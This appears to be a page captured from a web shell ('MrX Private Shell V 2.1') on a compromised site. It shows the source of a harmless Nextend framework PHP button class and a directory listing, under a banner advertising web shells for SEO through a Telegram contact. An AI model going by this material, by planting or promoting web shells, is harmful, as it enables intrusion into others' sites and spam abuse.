__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Form\Element\Button;
use Nextend\Framework\Form\Element\Button;
class ButtonIcon extends Button {
protected $hoverTip = '';
public function __construct($insertAt, $name = '', $label = '', $icon = '', $parameters = array()) {
$this->classes[] = 'n2_field_button--icon';
parent::__construct($insertAt, $name, $label, '<i class="' . $icon . '"></i>', $parameters);
}
protected function getAttributes() {
$attributes = parent::getAttributes();
if (!empty($this->hoverTip)) {
$attributes['data-n2tip'] = $this->hoverTip;
}
return $attributes;
}
/**
* @param string $hoverTip
*/
public function setHoverTip($hoverTip) {
$this->hoverTip = $hoverTip;
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ButtonIcon.php | File | 802 B | 0664 |
|
| ButtonMoreLess.php | File | 793 B | 0664 |
|
| ButtonRecordViewer.php | File | 808 B | 0664 |
|